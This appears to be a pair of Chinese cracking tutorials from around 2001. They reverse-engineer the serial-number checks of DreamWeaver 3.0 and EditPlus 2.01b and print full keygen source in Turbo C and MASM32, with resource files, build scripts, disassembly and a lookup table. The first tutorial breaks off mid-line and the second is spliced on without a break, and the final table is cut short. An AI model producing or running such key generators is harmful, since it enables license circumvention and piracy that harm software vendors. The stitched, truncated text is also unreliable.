需要输入序列号时，开头为“WBW”的序列号不能通过，会被认为是旧版的序列号。
基本条件就是如此。序列号的具体算法比较复杂。把整段字符串分成了5部分（不包括“DWW”，
“WBW”，“WLW”这一串）。具体实施过程如下：
(以第一个号码：DWW300-71511-95480-68658为例）
NUM1 = atoi(Str[3]——Str[5]) = 300
NUM2 = atoi(Str[7]) = 7
NUM3 = atol(strcat(Str[15],Str[14],Str[21],Str[20],Str[23],Str[19],Str[22])) = 4568865
NUM4 = atoi(strcat(Str[10],Str[17],Str[16])) = 108
NUM5 = atoi(strcat(Str[8],Str[9],Str[11],Str[13])) = 1519
这五个号码中，NUM3无任何限制,只要是7位数的整数就行。NUM4是由一个随机数查表得来的一个
值，表不大，总共才15个数。也就是说，NUM4总共只有15种选择。NUM1,NUM2固定。NUM5就是最后
用来校验的——看根据NUM1,NUM2,NUM3,NUM4四个数算出来的值等不等于NUM5（这段计算真的很复
杂，我用A4的纸打了3张）。
具体算法表示如下：
（num1=NUM3，num2=NUM4。写注册机时图方便去了，没考虑到会给写这篇文章带来麻烦）

---------------------------------------Cut From Here------------------------------------------
edx1=num1/100000;edx2=num1/100;edx3=num1/1000000;edx4=num1/10000;
edx5=num2/100;edx6=3;edx7=30;ebx1=num2/10;edi1=num1/10;
ebp1=num1/1000;edx8=edx3+ebp1;
temp=7*(ebp1+num2)+3*(3*(edx1+ebx1+7)+edi1+edx2)+edx7+edx6+edx5+edx4+edx3+num1;
num[0]=(int) (temp-(temp/10)*10)+0x30;
temp=7*edi1+3*(edx8+3*num2+ebx1)+edx7+edx6+edx5+edx4+edx2+edx1+7+num1;
num[1]=(int) (temp-(temp/10)*10)+0x30;
temp=7*edx8+3*(3*ebx1+edx5+edx7+edx2)+edx6+edx4+edi1+edx1+num1+7+num2;
num[2]=(int) (temp-(temp/10)*10)+0x30;
temp=7*(edx6+edx2+ebx1)+3*(edx4+3*(edx7+num1)+edx3+edi1)+edx5+ebp1+edx1+7+num2;
num[3]=(int) (temp-(temp/10)*10)+0x30;
------------------------------------------Cut End---------------------------------------------

有了这个核心算法，相信用Tc2.0作注册机，应该是很简单的事情了吧？

------------------=====KeyGen1(C)=====------------------
Tc2.0版注册机原码(dw_keygen.exe)：
---------------------------------------Cut From Here------------------------------------------
main()
{
void geneax(unsigned long num1,int num2,char *num);
unsigned long a;
int b,c;
int table[15]={0x51,0x5c,0x6a,0x102,0x10b,0xb6,0xbb,0xc5,0xc0,
0xa2,0xa8,0x52,0x54,0x5d,0x6d};
char sn[26]={"DWW300-7"};
char num1[7],num2[3],num3[4];
seed1: printf("Please Input Seed1:\n");
scanf("%lu",&a);
if (a<1000000||a>=0x949d5b)
{
printf("Seed1 Must Be [1000000,9739612]");
goto seed1;
}
seed2: printf("Please Input Seed2 (0--14 but 1,7,8):\n");
scanf("%d",&b);
if (b<0 || b==1 || b==7 || b==8 || b>14)
{
printf("Seed2 Muse Be 0--14 But 1,7,8!\n");
goto seed2;
}

if (b==5 || b==6 || b==7 || b==8) {sn[0]='W';sn[1]='B';}
if (b==9 || b==10) {sn[0]='W';sn[1]='L'; }
b=table[b];
b+=27;
geneax(a,b,num3);
ultoa(a,num1,10);itoa(b,num2,10);
sn[8]=num3[0];sn[9]=num3[1];sn[10]=num2[0];sn[11]=num3[2];
sn[12]='-';sn[13]=num3[3];sn[14]=num1[1];sn[15]=num1[0];
sn[16]=num2[2];sn[17]=num2[1];sn[18]='-';sn[19]=num1[5];
sn[20]=num1[3];sn[21]=num1[2];sn[22]=num1[6];sn[23]=num1[4];
printf("SN CODE IS:\n");
printf("%s",sn);
}

void geneax(unsigned long num1,int num2,char *num)
{
unsigned long temp,edx1,edx2,edx3,edx4,edx5,edx6,edx7,edx8,
ebx1,edi1,ebp1;
edx1=num1/100000;edx2=num1/100;edx3=num1/1000000;edx4=num1/10000;
edx5=num2/100;edx6=3;edx7=30;ebx1=num2/10;edi1=num1/10;
ebp1=num1/1000;edx8=edx3+ebp1;
temp=7*(ebp1+num2)+3*(3*(edx1+ebx1+7)+edi1+edx2)+edx7+edx6+edx5+edx4+edx3+num1;
num[0]=(int) (temp-(temp/10)*10)+0x30;
temp=7*edi1+3*(edx8+3*num2+ebx1)+edx7+edx6+edx5+edx4+edx2+edx1+7+num1;
num[1]=(int) (temp-(temp/10)*10)+0x30;
temp=7*edx8+3*(3*ebx1+edx5+edx7+edx2)+edx6+edx4+edi1+edx1+num1+7+num2;
num[2]=(int) (temp-(temp/10)*10)+0x30;
temp=7*(edx6+edx2+ebx1)+3*(edx4+3*(edx7+num1)+edx3+edi1)+edx5+ebp1+edx1+7+num2;
num[3]=(int) (temp-(temp/10)*10)+0x30;
}
------------------------------------------Cut End---------------------------------------------

------------------=====KeyGen1(ASM)=====------------------
说实话，对这个程序而言，用Tc2.0写注册机实在是很累人。那段核心算法很长也很复杂。针对算法
的特点，我建议大家用Masm32写注册机，那样比较方便——只要直接把在Trw2000中“U”下来的代码粘贴到
源文件中就行了，需要改动的地方不多。
下面就是Masm32V5版的注册机源码：
Masm32版注册机源码(dw_keygen.exe)：
---------------------------------------Cut From Here------------------------------------------
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
include comctl32.inc
include comdlg32.inc
include masm32.inc

includelib masm32.lib
includelib user32.lib
includelib kernel32.lib
includelib comctl32.lib
includelib comdlg32.lib

DLG_MAIN equ 100
IDGEN equ 10
Edit1 equ 11
Edit2 equ 12

_ProcDlgMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
_Math PROTO :DWORD,:DWORD,:DWORD
.data?
EDX1 DD ?
EDX2 DD ?
EDX3 DD ?
EDX4 DD ?
EDX5 DD ?
EDX6 DD ?
EDX7 DD ?
EDX8 DD ?
EAX1 DD ?
EBP1 DD ?
EDI1 DD ?
EBX1 DD ?

.data
szMess db "Seed Must Be [1000000,9000000]!",0
szCaption db "Error!"
hInstance dd ?
Number dd ?
Num1 db 7 dup(?),0
Num2 db 4 dup(?),0
snString1 db 4 dup(?),0
snString2 db 5 dup(?),0
snString3 db 5 dup(?),0
snString db "DWW300-7%s-%s-%s",0
sn db 24 dup(?),0
ddEbp dd ?

.code
_Math proc N1,N2,N3 ;这个过程就是粘贴过来的，很长吧？

MOV ECX,N1
MOV EAX,14F8B589H
IMUL ECX
SAR EDX,0DH
MOV EAX,EDX
PUSH EBX
SHR EAX,1FH
PUSH EBP
ADD EDX,EAX
PUSH ESI
MOV ESI,N3
MOV EAX,66666667H
MOV EDX1,EDX
IMUL ESI
SAR EDX,02H
MOV EAX,EDX
PUSH EDI
SHR EAX,1FH
ADD EDX,EAX
MOV EAX,51EB851FH
MOV EBX,EDX
IMUL ECX
SAR EDX,05H
MOV EAX,EDX
MOV EBX1,EBX
SHR EAX,1FH
ADD EDX,EAX
MOV EAX,66666667H
MOV EDX2,EDX
IMUL ECX
SAR EDX,02H
MOV EAX,EDX
SHR EAX,1FH
ADD EDX,EAX
MOV EAX,10624DD3H
MOV EDI,EDX
IMUL ECX
SAR EDX,06H
MOV EAX,EDX
MOV EDI1,EDI
SHR EAX,1FH
ADD EDX,EAX
MOV EAX,431BDE83H
MOV EBP,EDX
IMUL ECX
SAR EDX,12H
MOV EAX,EDX
MOV EBP1,EBP
SHR EAX,1FH
ADD EDX,EAX
MOV EAX,68DB8BADH
MOV EDX3,EDX
IMUL ECX
SAR EDX,0CH
MOV EAX,EDX
SHR EAX,1FH
ADD EDX,EAX
MOV EAX,51EB851FH
MOV EDX4,EDX
IMUL ESI
SAR EDX,05H
MOV EAX,EDX
SHR EAX,1FH
ADD EDX,EAX
MOV EAX,51EB851FH
MOV EDX5,EDX
MOV EDX,300
IMUL EDX
SAR EDX,05H
MOV EAX,EDX
SHR EAX,1FH
ADD EDX,EAX
MOV EAX,66666667H
MOV EDX6,EDX
MOV EDX,300
IMUL EDX
SAR EDX,02H
MOV EAX,EDX
SHR EAX,1FH
ADD EDX,EAX
MOV EDX7,EDX
MOV EDX,EDX3
ADD EDX,EBP
MOV EAX,EDX1
MOV EDX8,EDX
MOV EDX,7H
ADD EAX,EBX
ADD EAX,EDX
ADD EBP,ESI
LEA EDX,[EDI+EAX*2]
ADD EAX,EDX
MOV EDX,EDX2
ADD EAX,EDX
MOV EDX,EDX7
MOV EAX1,EAX
ADD EDX,EAX
LEA EAX,[EBP*8+00]
SUB EAX,EBP
MOV EBP,EAX1
LEA EDX,[EDX+EBP*2]
MOV EBP,EDX5
ADD EAX,EDX
MOV EDX,EDX6
ADD EAX,EDX
MOV EDX,EDX4
ADD EAX,EBP
MOV EBP,EDX3
ADD EAX,EDX
ADD EAX,EBP

MOV EBP,0AH
ADD EAX,ECX
CDQ
IDIV EBP
MOV EAX,EDX8
LEA EAX,[EAX+ESI*2]
LEA EBP,[EDX+EDX*4]
MOV EDX,ESI
ADD EDX,EAX
MOV EAX,EDX7
ADD EDX,EBX
LEA EBX,[EDX+EAX]
LEA EAX,[EDI*8+00]
SUB EAX,EDI
MOV EDI,EDX5
LEA EDX,[EBX+EDX*2]
MOV EBX,EDX6
ADD EAX,EDX
MOV EDX,EDX4
ADD EAX,EBX
MOV EBX,0AH
ADD EAX,EDI
MOV EDI,EDX2
ADD EAX,EDX
MOV EDX,EDX1
ADD EAX,EDI
ADD EAX,EDX
MOV EDX,7H
ADD EAX,ECX
ADD EAX,EDX
CDQ
IDIV EBX
LEA EAX,[EDX+EBP*2]
MOV EDX,EBX1
LEA EBX,[EAX+EAX*4]
MOV EAX,EDX7
LEA EAX,[EAX+EDX*2]
ADD EDX,EAX

MOV EAX,EDX5
ADD EDX,EAX
MOV EAX,EDX6
ADD EDX,EDI
MOV EDI,EDX8
LEA EBP,[EDX+EAX]
LEA EAX,[EDI*8+00]
SUB EAX,EDI
MOV EDI,EDI1
LEA EDX,[EBP+EDX*2+00]
MOV EBP,EDX4
ADD EAX,EDX
ADD EAX,EBP
ADD EAX,EDI
MOV EDI,EDX1
ADD EAX,EDI
ADD EAX,ECX
MOV EDX,7
MOV EBP,0AH
ADD EAX,EDX
ADD EAX,ESI
CDQ
IDIV EBP
MOV EBP,EDX3
LEA EAX,[EDX+EBX*2]
MOV EDX,EDX4
LEA EBX,[EAX+EAX*4]
MOV EAX,EDX7
ADD ECX,EAX
LEA EAX,[EDX+ECX*2]
MOV EDX,EDI1
ADD ECX,EAX
MOV EAX,EDX6
ADD ECX,EBP
ADD ECX,EDX
MOV EDX,EDX5
LEA EBP,[ECX+EDX]
MOV EDX,EDX2

ADD EDX,EAX
MOV EAX,EBX1
ADD EDX,EAX
LEA ECX,[EBP+ECX*2+00]
LEA EAX,[EDX*8+00]
SUB EAX,EDX
MOV EDX,7
ADD EAX,ECX
MOV ECX,EBP1
ADD EAX,ECX
MOV ECX,0AH
ADD EAX,EDI
POP EDI
ADD EAX,EDX
ADD EAX,ESI
POP ESI
CDQ
IDIV ECX
POP EBP
LEA EAX,[EDX+EBX*2]
POP EBX
RET
_Math endp

_ProcDlgMain proc uses ebx edi esi edx ecx,hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD
mov eax,wMsg
.if eax==WM_CLOSE
invoke EndDialog,hWnd,NULL
.elseif eax==WM_COMMAND
mov eax,wParam
and eax,0ffffh
.if eax==IDGEN
invoke GetDlgItemText, hWnd,Edit1,offset Num1,8
invoke atodw,offset Num1
.if eax<1000000 || eax>9000000
invoke MessageBox,hWnd,offset szMess,offset szCaption,MB_ICONSTOP
ret
.endif
mov ecx,eax
mov eax,7
mov edx,108

invoke _Math,ecx,eax,edx

mov Number,eax
invoke dwtoa,Number,offset Num2

mov al,[Num1]
mov [snString2+2],al
mov al,[Num1+1]
mov [snString2+1],al
mov al,[Num1+2]
mov [snString3+2],al
mov al,[Num1+3]
mov [snString3+1],al
mov al,[Num1+4]
mov [snString3+4],al
mov al,[Num1+5]
mov [snString3],al
mov al,[Num1+6]
mov [snString3+3],al
mov al,[Num2]
mov [snString1],al
mov al,[Num2+1]
mov [snString1+1],al
mov al,[Num2+2]
mov [snString1+3],al
mov al,[Num2+3]
mov [snString2],al
mov [snString1+2],'1'
mov [snString2+3],'8'
mov [snString2+4],'0'
invoke wsprintf,offset sn,offset snString,offset snString1,offset snString2,offset snString3
invoke SetDlgItemText,hWnd,Edit2,offset sn
mov eax,FALSE
ret
.elseif eax==IDCLOSE
invoke EndDialog,hWnd,NULL
.endif
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret

_ProcDlgMain endp

start:
invoke InitCommonControls
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,0
invoke ExitProcess,NULL
end start

end

------------------------------------------Cut End---------------------------------------------

资源文件源码(rsrc.rc)：
---------------------------------------Cut From Here------------------------------------------
#include <Resource.h>
#define IDGEN 10
#define DLG_MAIN 100
#define EDIT1 11
#define EDIT2 12

DLG_MAIN DIALOGEX 100,150,250,60
STYLE DS_MODALFRAME|WS_POPUP|WS_VISIBLE|WS_CAPTION|WS_SYSMENU|WS_THICKFRAME
CAPTION "DreamWaver3.0 sn-generater By robotow"
FONT 9,"宋体"

BEGIN
CONTROL "SEED:",-1,"Static",SS_LEFT,10,13,40,17
CONTROL "SN:" ,-2,"Static",SS_CENTER,10,40,20,17
CONTROL "" ,11,"Edit",ES_LEFT,30,13,150,10
CONTROL "" ,12,"Edit",ES_LEFT,30,40,150,10
CONTROL "GENERATE",IDGEN,"BUTTON",BS_PUSHBUTTON,200,11,40,15
CONTROL "EXIT",IDCLOSE,"BUTTON",BS_PUSHBUTTON,200,36,41,14
END
-------------------------------------------Cut End---------------------------------------------

批处理编译文件(makefile.bat)：
---------------------------------------Cut From Here------------------------------------------
@echo off
set include=d:\masm32\include
set lib=d:\masm32\lib
set path=d:\masm32\bin

if not exist rsrc.rc goto over1
d:\masm32\bin\rc /v rsrc.rc
d:\masm32\bin\cvtres /machine:ix86 rsrc.res
:over1

if exist dw_keygen.obj del dw_keygen.obj
if exist dw_keygen.exe del dw_keygen.exe

d:\masm32\bin\ml /c /coff dw_keygen.asm
if errorlevel 1 goto errasm

if not exist rsrc.obj goto nores

d:\masm32\bin\Link /SUBSYSTEM:WINDOWS dw_keygen.obj rsrc.obj
if errorlevel 1 goto errlink

goto TheEnd

:nores
d:\masm32\bin\Link /SUBSYSTEM:WINDOWS dw_keygen.obj
if errorlevel 1 goto errlink

goto TheEnd

:errlink
echo _
echo Lin


EditPlus 2.01b

标 题:EditPlus 2.01b 注册机的制作 (22千字)
发信人:夜月
时 间:2001-9-10 18:07:09
详细信息:

EditPlus 2.01b 注册机的制作

作者:夜月
E-mail:luoyi.ly@yeah.net
写作日期: 30th August,2001
修改时间：30th August,2001
版本：2.01 Beta

软件背景资料

运行平台: Win9X
文件名称: Ep2setup20b.exe
程序类型: Text Edit
下载地点: http://www.editplus.com
文件大小: 910KB

使用的工具

Trw2000 V1.23--Win9X Debugger
W32Dasm V8.93--Win9X Dissembler
Masm32 V5.00--KeyGen Compiler

难易程度

Easy( ) Medium(X) Hard( ) Pro( )

------------------=====Begin=====------------------

关于EditPlus的注册码问题，在《论坛精华2》中，dr0大客曾经说过：“好象从1.21版本就
开始了。它判断注册码不是集中在一个地方判断，程序刚启动的时候判断几位，退出的时候再判断另
外几位，你使用它的preferences菜单的时候再判断一位。
以上是旧版本的情况。2.01a版本与此有所不同。由于不知道它会在哪里判断注册码，所以不
能清除BPR断点，即要一直保留针对输入的假注册码所设的BPR断点；或者用bpx RegDeleteValueA设断
点，试用一下其各种功能，看它是否会删除注册表中的假注册码，就可以找到判断注册码的地方。另外，
这个软件的注册码的前5位是由后面的计算出来的，而后面有多少位并无明显的限制，所以各人作出来的
注册码长短不一。另，据说注册码似乎有随机性。 ”
由这段话，我们可以认识到：程序判断注册码的地点不集中，有很多操作可以触发判断注册码
正确与否的例程。但是，由实际分析结果来看，其所说的用bpr断点找到各个判断例程的方法在对付这个
程序时并不适用。原因很简单：该程序判断注册码正确与否的子例程总共有8处之多。而触发这8个判断
代码的条件我们并不清楚。就我跟踪的结果来看，一次是在输入注册码时（这也是最明显的一处，
《论坛精华2》中，xiA Qin的爆破就是在这段子例程中修改代码的）；一次是在你关闭程序时；一次是
在你按照程序提示，重新进入程序时；前面这三处还很容易想到，因为大部分的软件都是在这些时候判
断注册码的正确性。而剩下来的其他4次，其触发事件就很独特了。dr0大客说使用preferences菜单时会
判断一位，就我跟踪来看，并不正确。虽然在使用preferences菜单的过程中，会调用判断注册码的例程，
但此时该例程的作用并不是判断注册码正确与否，而仅仅是程序运行的正常需要。倒是在按下工具条上的
“open”快捷纽时，会触发一处注册码判断。至于其他几处，我没有去细找。因为此时，我已经发现了程
序判断注册码的核心子例程了——也就是说，程序每个判断注册码的地方，都要调用该字例程。找到核心
子例程之后，要找判断点就容易多了。该子例程的作用其实很简单——把一个16进制数转成字符串存放在
指定的地点同时作灭零处理（这也就是后面计算注册码步骤中的第7步的原因）。下面就是该程序判断注册
码的核心子例程：

* Referenced by a CALL at Addresses:
|:00419A28 , :004218EA , :004575A5 , :0045EAFF , :0045EB2F
|:0045EB5F , :0045EB8F , :0045F6F6 , :004622C1 , :0046264E
|:004626A4 , :0047B952 , :0049CD24 ;总共13处调用
|
:0048FBE0 55 push ebp
:0048FBE1 8BEC mov ebp, esp
:0048FBE3 83EC20 sub esp, 00000020
:0048FBE6 8B4508 mov eax, dword ptr [ebp+08]
:0048FBE9 56 push esi
:0048FBEA 8945E8 mov dword ptr [ebp-18], eax
:0048FBED 8945E0 mov dword ptr [ebp-20], eax
:0048FBF0 8D4510 lea eax, dword ptr [ebp+10]
:0048FBF3 C745EC42000000 mov [ebp-14], 00000042
:0048FBFA 50 push eax
:0048FBFB 8D45E0 lea eax, dword ptr [ebp-20]
:0048FBFE FF750C push [ebp+0C]
:0048FC01 C745E4FFFFFF7F mov [ebp-1C], 7FFFFFFF
:0048FC08 50 push eax
:0048FC09 E897470000 call 004943A5
:0048FC0E 83C40C add esp, 0000000C
:0048FC11 FF4DE4 dec [ebp-1C]
:0048FC14 8BF0 mov esi, eax
:0048FC16 7808 js 0048FC20
:0048FC18 8B45E0 mov eax, dword ptr [ebp-20]
:0048FC1B 802000 and byte ptr [eax], 00
:0048FC1E EB0D jmp 0048FC2D

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048FC16(C)
|
:0048FC20 8D45E0 lea eax, dword ptr [ebp-20]
:0048FC23 50 push eax
:0048FC24 6A00 push 00000000
:0048FC26 E862460000 call 0049428D
:0048FC2B 59 pop ecx
:0048FC2C 59 pop ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048FC1E(U)
|
:0048FC2D 8BC6 mov eax, esi
:0048FC2F 5E pop esi
:0048FC30 C9 leave
:0048FC31 C3 ret

在这里，很清楚地看到，主程序中总共有13处调用了该核心子例程，但并不是每一次调用都是用
来判断注册码的。我们如何区分？很简单，分别到这13处调用处看一下就知道了。下面举一例说明：

:004199F4 83C117 add ecx, 00000017 <====此处，ecx是根据你名字算出来的一个值
:004199F7 B8ABAAAA2A mov eax, 2AAAAAAB
:004199FC F7E9 imul ecx
:004199FE 8BC2 mov eax, edx
:00419A00 C1E81F shr eax, 1F
:00419A03 8D440203 lea eax, dword ptr [edx+eax+03]
:00419A07 8D0CC500000000 lea ecx, dword ptr [8*eax+00000000]
:00419A0E 2BC8 sub ecx, eax
:00419A10 81E10F000080 and ecx, 8000000F
:00419A16 7905 jns 00419A1D
:00419A18 49 dec ecx
:00419A19 83C9F0 or ecx, FFFFFFF0
:00419A1C 41 inc ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00419A16(C)
|
:00419A1D 51 push ecx
:00419A1E 8D542418 lea edx, dword ptr [esp+18]

* Possible StringData Ref from Data Obj ->"%1X"
|
:00419A22 6880534F00 push 004F5380
:00419A27 52 push edx
:00419A28 E8B3610700 call 0048FBE0 <====调用核心子例程
:00419A2D 8B86F0020000 mov eax, dword ptr [esi+000002F0]
:00419A33 83C40C add esp, 0000000C
:00419A36 8B00 mov eax, dword ptr [eax] <====eax指向注册码
:00419A38 8378F807 cmp dword ptr [eax-08], 00000007 <====长度大于7？
:00419A3C 7C0B jl 00419A49 <====not great，bad guy!
:00419A3E 8A4006 mov al, byte ptr [eax+06] <====注册码第7位
:00419A41 8A4C2414 mov cl, byte ptr [esp+14] <====由名字计算得出的校验值
:00419A45 3AC1 cmp al, cl <====比较
:00419A47 740C je 00419A55 <====equal,good guy!
这就很容易看出，419A28处，一定是一个判断点（但是它的判断触发事件，我们并不知道！）。

再来看一处不是判断点的代码，区别就很明显了：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045EAD5(C)
|
:0045EAE7 D9442420 fld dword ptr [esp+20]
:0045EAEB DC742414 fdiv qword ptr [esp+14]
:0045EAEF 83EC08 sub esp, 00000008
:0045EAF2 8D442430 lea eax, dword ptr [esp+30]
:0045EAF6 DD1C24 fstp qword ptr [esp]

* Possible StringData Ref from Data Obj ->"%.2f"
|
:0045EAF9 68C0614F00 push 004F61C0
:0045EAFE 50 push eax
:0045EAFF E8DC100300 call 0048FBE0
:0045EB04 83C410 add esp, 00000010
:0045EB07 8D4C2428 lea ecx, dword ptr [esp+28]
:0045EB0B 51 push ecx
:0045EB0C 8D8E00030000 lea ecx, dword ptr [esi+00000300]
:0045EB12 E88D450400 call 004A30A4
:0045EB17 D9442424 fld dword ptr [esp+24]
:0045EB1B DC742414 fdiv qword ptr [esp+14]
:0045EB1F 83EC08 sub esp, 00000008
:0045EB22 8D542430 lea edx, dword ptr [esp+30]
:0045EB26 DD1C24 fstp qword ptr [esp]

整段程序没有一个比较语句。而且，在跟踪时我们可以通过“d”和“?”发现，该段程序和我们
输入的注册码以及名字没有任何联系，所以我们可以断定：此处不是在比较注册码。

下面，我把这13处调用及其判断对象整理如下供大家参考：

（L=注册码长度；Str[]=注册码字符串）
序号 地址 是否判断点 判断对象
01 00419A28 是 L>7 AND Str[6]
02 004218EA 是 L>A AND Str[9]
03 004575A5 是 L>8 AND Str[7]
04 0045EAFF 否
05 0045EB2F 否
06 0045EB5F 否
07 0045EB8F 否
08 0045F6F6 否
09 004622C1 是 L>B AND Str[A]
10 0046264E 是 L>5 AND Str[4]
11 004626A4 是 Str[2] AND Str[3]
12 0047B952 是 Str[0] AND Str[1]
13 0049CD24 是 L>9 AND Str[8]
由该表我们可以发现，注册码至少应为11位长，程序只判断前11位中的10位（除开第6位，也就是
Str[5])。由于未发现其他判断处，所以，程序的注册码的长度应该只要大于11就可以。其中，第1，2位是
通过后面的号码推算出来的。而其他的（从第3位往后，除开第6位，到第11位为止）号码则由名字推算出来。
具体算法可以表示如下：

（1） 由名字得到一个Magic Number:

SUM=1;
for(i=0;i<strlen(name);i++) SUM+=name[i];

得到的SUM就是我们所需要的Magic Number。

（2） 由Magic Number算出注册码的第5和7--11位。（具体算法见注册机源码，此处从略）

（3） 由名字算出注册码的第3，4位：
（num[]是一张256个Word的数据表，详见注册机源码）
ax=0;dx=0;bx=0;
for (i=0;i<strlen(name);i++)
{
dx=ax;
dx&=0xff;
dx^=name[i];
bx=ax>>8;
ax=num[dx];
ax^=bx;
}
得出的ax中的ah，就是注册码的第3，4位。

（4） 注册码的第6位任意（在我的注册机里，假设它为0）。

（5） 由注册码的第3--11算出注册码的第1，2位。
（num[]和第三步的含义相同；newstr[]指向注册码第2位后面的字符串）
ax=0;dx=0;bx=0;
for (i=0;i<strlen(newstr);i++)
{
dx=ax;
dx&=0xff;
dx^=newstr[i];
bx=ax>>8;
ax=num[dx];
ax^=bx;
}
（6） 得出的ax中的ah，就是注册码的第1，2位

（7） 如果注册码的第1位为0，则需要延长注册码的长度，以使第一位不为0。（在我的注册机里，没有
使注册码延长的代码。我是通过让用户改变用户名实现的。如果哪位对它有兴趣的话，可以自己
添加该功能）。

------------------===== Last Words=====------------------
该程序的破解，可以说是动态跟踪+静态分析的典范：为了找全程序的注册监测点，我们需要在多
次动态跟踪，熟悉程序注册流程的基础上对静态反汇编代码仔细分析；分析出来检测点以后，又要由动态
跟踪确定各检测点调用核心子例程的各自参数的含义 。两者结合，才能彻底搞清楚程序的注册算法，从而
写出注册机。
常看到有人问注册机里面的那张很大的表格是怎么的来的。呵呵……当然不是抄下来的拉。你可以
在Trw2000里“d memeory address l length >filename”把数表所在的内存数据保存下来。再用EditPlus
（也就是在这篇文章里挨揍的那个程序）的“列块选择”功能去掉一些不必要的空格和地址数据以及ASCII
码数据，再用Tc2.0编一个小程序就可以转成你想要的格式的表格了。这个程序编起来不是很复杂，有兴趣
的朋友就当作是学习C语言文件操作的一个入门吧！
注册机的编译器选择也很重要。在32位程序大行其道的今天，Tc2.0实在是有点力不从心-----虽然
它是最经典的编译器之一。相形之下，Vc++ 6.0则方便得多。而我手头现在没有Vc++,所以只好将就着用
M32asmV5了。我是临时报佛脚地学了一下Win32Asm^_^,所以代码写得比较乱。有条件的朋友建议用Vc++6.0
编注册机，肯定好看多了！:)

------------------=====KeyGen=====------------------
批处理编译文件：makekey.bat
---------------------------------------Cut From Here------------------------------------------
@echo off
set include=d:\masm32\include
set lib=d:\masm32\lib
set path=d:\masm32\bin

if not exist rsrc.rc goto over1
d:\masm32\bin\rc /v rsrc.rc
d:\masm32\bin\cvtres /machine:ix86 rsrc.res
:over1

if exist ep_keygen.obj del ep_keygen.obj
if exist ep_keygen.exe del ep_keygen.exe

d:\masm32\bin\ml /c /coff ep_keygen.asm
if errorlevel 1 goto errasm

if not exist rsrc.obj goto nores

d:\masm32\bin\Link /SUBSYSTEM:WINDOWS ep_keygen.obj rsrc.obj
if errorlevel 1 goto errlink

goto TheEnd

:nores
d:\masm32\bin\Link /SUBSYSTEM:WINDOWS ep_keygen.obj
if errorlevel 1 goto errlink

goto TheEnd

:errlink
echo _
echo Link error
goto TheEnd

:errasm
echo _
echo Assembly Error
goto TheEnd

:TheEnd
-----------------------------------------Cut End---------------------------------------------

资源文件：rsrc.rc
---------------------------------------Cut From Here------------------------------------------
#include <Resource.h>
#define IDGEN 10
#define DLG_MAIN 100
#define EDIT1 11
#define EDIT2 12

DLG_MAIN DIALOGEX 100,150,250,60
STYLE DS_MODALFRAME|WS_POPUP|WS_VISIBLE|WS_CAPTION|WS_SYSMENU|WS_THICKFRAME
CAPTION "EditPlus2.01b KenGen By Robotow"
FONT 9,"宋体"

BEGIN
CONTROL "Name:",-1,"Static",SS_LEFT,10,13,40,17
CONTROL "SN:" ,-2,"Static",SS_CENTER,10,40,20,17
CONTROL "" ,11,"Edit",ES_LEFT,30,13,150,10
CONTROL "" ,12,"Edit",ES_LEFT,30,40,150,10
CONTROL "GENERATE",IDGEN,"BUTTON",BS_PUSHBUTTON,200,11,40,15
CONTROL "EXIT",IDCLOSE,"BUTTON",BS_PUSHBUTTON,200,36,41,14
END
-----------------------------------------Cut End----------------------------------------------

程序源代码：ep_keygen.asm
---------------------------------------Cut From Here------------------------------------------
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
include comctl32.inc
include comdlg32.inc
include masm32.inc

includelib masm32.lib
includelib user32.lib
includelib kernel32.lib
includelib comctl32.lib
includelib comdlg32.lib

DLG_MAIN equ 100
IDGEN equ 10
Edit1 equ 11
Edit2 equ 12

_ProcDlgMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
HtoA PROTO :DWORD,:DWORD,:BYTE

.data?
szSN db 11 dup(?)

.data
num dw 00000h,0C0C1h,0C181h,00140h,0C301h,003C0h,00280h,0C241h,0C601h,006C0h,00780h,0C741h
dw 00500h,0C5C1h,0C481h,00440h,0CC01h,00CC0h,00D80h,0CD41h,00F00h,0CFC1h,0CE81h,00E40h
dw 00A00h,0CAC1h,0CB81h,00B40h,0C901h,009C0h,00880h,0C841h,0D801h,018C0h,01980h,0D941h
dw 01B00h,0DBC1h,0DA81h,01A40h,01E00h,0DEC1h,0DF81h,01F40h,0DD01h,01DC0h,01C80h,0DC41h
dw 01400h,0D4C1h,0D581h,01540h,0D701h,017C0h,01680h,0D641h,0D201h,012C0h,01380h,0D341h
dw 01100h,0D1C1h,0D081h,01040h,0F001h,030C0h,03180h,0F141h,03300h,0F3C1h,0F281h,03240h
dw 03600h,0F6C1h,0F781h,03740h,0F501h,035C0h,03480h,0F441h,03C00h,0FCC1h,0FD81h,03D40h
dw 0FF01h,03FC0h,03E80h,0FE41h,0FA01h,03AC0h,03B80h,0FB41h,03900h,0F9C1h,0F881h,03840h
dw 02800h,0E8C1h,0E981h,02940h,0EB01h,02BC0h,02A80h,0EA41h,0EE01h,02EC0h,02F80h,0EF41h
dw 02D00h,0EDC1h,0EC81h,02C40h,0E401h,024C0h,02580h,0E541h,02700h,0E7C1h,0E681h,02640h
dw 02200h,0E2C1h,0E381h,02340h,0E101h,021C0h,02080h,0E041h,0A001h,060C0h,06180h,0A141h
dw 06300h,0A3C1h,0A281h,06240h,06600h,0A6C1h,0A781h,06740h,0A501h,065C0h,06480h,0A441h
dw 06C00h,0ACC1h,0AD81h,06D40h,0AF01h,06FC0h,06E80h,0AE41h,0AA01h,06AC0h,06B80h,0AB41h
dw 06900h,0A9C1h,0A881h,06840h,07800h,0B8C1h,0B981h,07940h,0BB01h,07BC0h,07A80h,0BA41h
dw 0BE01h,07EC0h,07F80h,0BF41h,07D00h,0BDC1h,0BC81h,07C40h,0B401h,074C0h,07580h,0B541h
dw 07700h,0B7C1h,0B681h,07640h,07200h,0B2C1h,0B381h,07340h,0B101h,071C0h,07080h,0B041h
dw 05000h,090C1h,09181h,05140h,09301h,053C0h,05280h,09241h,09601h,056C0h,05780h,09741h
